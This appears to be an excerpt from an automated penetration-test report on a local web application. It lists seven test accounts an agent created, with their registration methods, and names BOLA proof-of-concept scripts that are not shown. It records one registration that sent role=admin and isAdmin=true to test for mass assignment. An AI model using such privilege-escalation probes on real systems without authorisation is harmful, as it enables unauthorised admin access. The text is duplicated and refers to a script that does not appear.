ATTACK + GET http://localhost:3000 → 200 + body (924 bytes, excerpt): + 7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). + • nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password + • nrsplt_b7558@example.test [customer] — created via curl POST username/email/password + • nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign) + • poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral) + • nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded + • nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run) + • nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login + +AGENT-RECORDED EVIDENCE +7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). +• nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password +• nrsplt_b7558@example.test [customer] — created via curl POST username/email/password +• nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign) +• poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral) +• nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded +• nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run) +• nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login
The steps above are the proof; this script automates them.